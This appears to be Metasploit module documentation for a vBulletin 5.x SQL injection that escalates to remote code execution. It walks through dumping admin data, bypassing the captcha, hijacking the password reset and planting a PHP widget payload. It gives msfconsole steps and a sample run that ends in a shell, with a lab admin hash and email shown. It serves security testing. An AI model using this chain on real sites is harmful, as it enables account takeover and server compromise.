168 lines
9.7 KiB
Markdown
168 lines
9.7 KiB
Markdown
## Vulnerable Application
|
|
|
|
[vBulletin](https://www.vbulletin.com) A popular PHP bulletin board and blog web application.
|
|
This module has been tested successfully against vBulletin 5.6.1 running on Ubuntu Linux 19.04
|
|
|
|
### Description
|
|
|
|
This module exploits a SQL injection vulnerability present in vBulletin 5.2.0 through 5.6.1 in the
|
|
`getIndexableContent` function. This vulnerability is triggered through the `nodeId` variable and
|
|
can be reached through multiple paths (listed below) but is exploited in this module utilizing the
|
|
`/ajax/api/content_infraction/getIndexableContent` path.
|
|
|
|
- /ajax/api/content_video/getIndexableContent
|
|
- /ajax/api/content_text/getIndexableContent
|
|
- /ajax/api/content_report/getIndexableContent
|
|
- /ajax/api/content_redirect/getIndexableContent
|
|
- /ajax/api/content_privatemessage/getIndexableContent
|
|
- /ajax/api/content_poll/getIndexableContent
|
|
- /ajax/api/content_photo/getIndexableContent
|
|
- /ajax/api/content_link/getIndexableContent
|
|
- /ajax/api/content_infraction/getIndexableContent
|
|
- /ajax/api/content_gallery/getIndexableContent
|
|
- /ajax/api/content_event/getIndexableContent
|
|
- /ajax/api/content_channel/getIndexableContent
|
|
- /ajax/api/content_attach/getIndexableContent
|
|
|
|
Each path listed above reaches the `getIndexableContent` function within the `/core/vb/library/content.php`
|
|
file. The SQL injection attack used utilizes a UNION query in order to leak data back in the response
|
|
`rawtext` field.
|
|
|
|
#### Leveraging getContentIndexable SQL injection for RCE
|
|
|
|
The exploit begins by attempting to get a `nodeid` for use in the SQL injection attack, this can be supplied
|
|
by the user within the `NODE` module option, or if not supplied, the value is brute-forced within the bounds
|
|
of the `MINNODE` and `MAXNODE` module options. After acquiring a valid `nodeid`, the exploit attempts to obtain
|
|
the vBulletin install's table prefix. This is done by using the `getIndexableContent` SQL injection vulnerability
|
|
to query the `INFORMATION_SCHEMA` table and get a result we expect (to determine if there is a prefix attached).
|
|
In the module we use the `language` table for this process. After getting the table prefix we can begin dumping
|
|
the table data, we start with the administrator user id, username, token, and email. These are used later in the
|
|
process to make a lost password request and can also be used to backup the administrator user's data prior to the
|
|
destructive change that will happen when the password is changed later in the module. After acquiring the
|
|
administrator info the script begins the to gather other pieces needed to submit a lost password request. This
|
|
part can vary between installs but involves a form of "human verification" along with an administrator's email.
|
|
The module will attempt to determine the human verification (or captcha) type, then determine if a bypass or solve
|
|
is possible. There are 4 total types of human verification, an image (GD or ImageMagic based), a Question/Answer
|
|
(which is stored as a regular expression), Recaptcha2 (an external api based captcha), and disabled.
|
|
|
|
- If an `Image` (GD or ImageMagic based) human verification is selected, the module can bypass it and requires
|
|
no interaction. This is done by querying the database for the image contents using the SQL injection vulnerability.
|
|
|
|
- If the `Question/Answer` human verification is selected, the module will attempt to submit the answer retrieved
|
|
from the database utilizing the SQL injection vulnerability. This can sometimes fail and require manual intervention
|
|
if a complex regular expression is used but the answer is provided through the modules output.
|
|
|
|
- If the `Recaptcha2` human verification method is selected, the module will fail with a message along with an
|
|
administrators email to use for a lost password request.
|
|
|
|
- If `Disabled` is chosen, the script will work without action.
|
|
|
|
After bypassing the human verification the script will attempt to send a lost password request, this will send
|
|
an email to the administrator. If the human verification request fails, the module can be configured to skip the
|
|
human verification and lost password steps. This is done by setting the modules `MANUALLOSTPASS` option to true,
|
|
**this however does require that just prior to running the exploit the lost password request is made**. If the
|
|
administrator completes the request, the activation token will be removed from the database and the next step of
|
|
the reset will fail. After the lost password request is made, the module then attempts to retrieve the Activation
|
|
ID from the database using the SQL injection vulnerability. When all of the above is completed, the administrators
|
|
password can finally be reset. The password is changed to a random 10-16 character alphanumeric password which is
|
|
displayed in the modules output.
|
|
|
|
The module can now begin to leverage the administrator access for remote command execution. This begins by first creating
|
|
a new widget instance, this widget instance is of a `widget_php` type (a special type that allows for php code embedded
|
|
within). After the widget instance is created, the module then attempts to modify the widget to add our selected payload.
|
|
The widget is then ready to use and is added to a new page. This page is created with a randomly generated 10 to 16
|
|
character alphanumeric url. The payload and attack is then ready to execute and the module makes a final request in the
|
|
attack process to execute the PHP payload. Upon successful completion, the page is deleted from the vBulletin install.
|
|
|
|
## Verification Steps
|
|
|
|
1. Do: ```use exploit/multi/http/vbulletin_getindexablecontent```
|
|
2. Do: ```set RHOSTS [IP]```
|
|
3. Do: ```set VHOST [HOSTNAME]```
|
|
4. Do: ```set TARGETURI [PATH]```
|
|
5. Do: ```set PAYLOAD [PAYLOADNUM]```
|
|
6. Do: ```run```
|
|
|
|
## Options
|
|
|
|
### MANUALLOSTPASS
|
|
|
|
A boolean value used to determine if the lost password request should be automated or will be performed manually. **Default: false**
|
|
|
|
### NODE
|
|
|
|
A valid node id value for the vBulletin install. When provided, this value is used instead of that acquired by brute-forcing.
|
|
|
|
### MINNODE
|
|
|
|
A minimum nodeid value to begin with when brute-forcing for a valid node id. **Default: 1**
|
|
|
|
### MAXNODE
|
|
|
|
A maximum nodeid value to end with when brute-forcing for a valid node id. **Default: 200**
|
|
|
|
### TARGETURI
|
|
|
|
The base URI path of vBulletin. **Default: /**
|
|
|
|
## Scenarios
|
|
|
|
```
|
|
msf5 > use exploit/multi/http/vbulletin_getindexablecontent
|
|
msf5 exploit(multi/http/vbulletin_getindexablecontent) > set RHOSTS vb.local
|
|
RHOSTS => vb.local
|
|
msf5 exploit(multi/http/vbulletin_getindexablecontent) > set VHOST vb.local
|
|
VHOST => vb.local
|
|
msf5 exploit(multi/http/vbulletin_getindexablecontent) > set TARGETURI /vb5
|
|
TARGETURI => /vb5
|
|
msf5 exploit(multi/http/vbulletin_getindexablecontent) > set PAYLOAD 2
|
|
msf5 exploit(multi/http/vbulletin_getindexablecontent) > check
|
|
[*] 192.168.1.100:80 - The target appears to be vulnerable.
|
|
msf5 exploit(multi/http/vbulletin_getindexablecontent) > run
|
|
|
|
[*] Executing automatic check (disable AutoCheck to override)
|
|
[+] The target appears to be vulnerable.
|
|
[*] Brute forcing to find a valid node id.
|
|
[+] Successfully found node at id 1
|
|
[*] Attempting to determine the vBulletin table prefix.
|
|
[*] Performing SQL injection on target to retrieve 'table_name' from 'information_schema.columns'.
|
|
[+] Successfully retrieved table to get prefix from vb5_language.
|
|
[*] Performing SQL injection on target to retrieve 'userid' from 'vb5_administrator'.
|
|
[*] Performing SQL injection on target to retrieve 'username' from 'vb5_user'.
|
|
[*] Performing SQL injection on target to retrieve 'token' from 'vb5_user'.
|
|
[*] Performing SQL injection on target to retrieve 'email' from 'vb5_user'.
|
|
[+] Retrieved administrator uid: 1 user: administrator email: zenofex@exploitee.rs and password: $2y$15$IKz0ra/N2WrJr4BZZMExIOwIET.4Tz8Wni20BMEHjG/A.k9tuOK.W
|
|
[*] Sending request to '/vb5/ajax/api/hv/fetchHvType' to get human verification type.
|
|
[+] Retrieved HV/captcha type of 'Image'.
|
|
[*] Making request to '/vb5/ajax/api/hv/generateToken' to retrieve HV token.
|
|
[+] Retrieved '85885c3fafb61b91cb3d2959e13ffe07' human verification token.
|
|
[*] Using HV token '85885c3fafb61b91cb3d2959e13ffe07' and SQLinjection to determine HV answer.
|
|
[*] Performing SQL injection on target to retrieve 'answer' from 'vb5_humanverify'.
|
|
[+] Retrieved '4w8CPc' answer to HV token '85885c3fafb61b91cb3d2959e13ffe07'.
|
|
[*] Making request to '/vb5/auth/lostpw' to begin lost password process.
|
|
[*] Performing SQL injection on target to retrieve 'activationid' from 'vb5_useractivation'.
|
|
[*] Sending reset password request to '/vb5/auth/reset-password'.
|
|
[+] User with userid '1' successfully reset password to 'dSxTtxI7yh'.
|
|
[*] Making login request to '/vb5/auth/ajax-login' with username: 'administrator' and password: 'dSxTtxI7yh'.
|
|
[+] Successfully logged in as administrator .
|
|
[*] Making request to '/vb5/ajax/activate-sitebuilder' to activate site-builder functionality.
|
|
[+] Successfully enabled site-builder functionality.
|
|
[*] Making login request to '/vb5/auth/ajax-login' with username: 'administrator' and password: 'dSxTtxI7yh'.
|
|
[+] Successfully logged in as administrator cplogin.
|
|
[*] Making request to '/vb5/ajax/api/widget/saveNewWidgetInstance' to create new widget.
|
|
[+] Created new widget instance.
|
|
[*] Making request to '/vb5/ajax/api/widget/saveAdminConfig' to add payload to widget.
|
|
[+] Successfully added payload to widget.
|
|
[*] Sending request to '/vb5/admin/savepage' to save new page at 'OToB9nTU'.
|
|
[+] Page successfully create and should be accessible at '/vb5/OToB9nTU'.
|
|
[+] Executing PHP payload (230 bytes) at /vb5/OToB9nTU.
|
|
[*] Sending request to '/vb5/OToB9nTU' to execute payload.
|
|
[*] Sending delete page request to '/vb5/ajax/api/page/delete'.
|
|
[+] Successfully deleted page with pageid: 148
|
|
[*] Started bind TCP handler against 192.168.1.100:4444
|
|
[*] Command shell session 1 opened (0.0.0.0:0 -> 192.168.1.100:4444) at 2020-05-22 21:24:42 -0500
|
|
|
|
id
|
|
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
|
```
|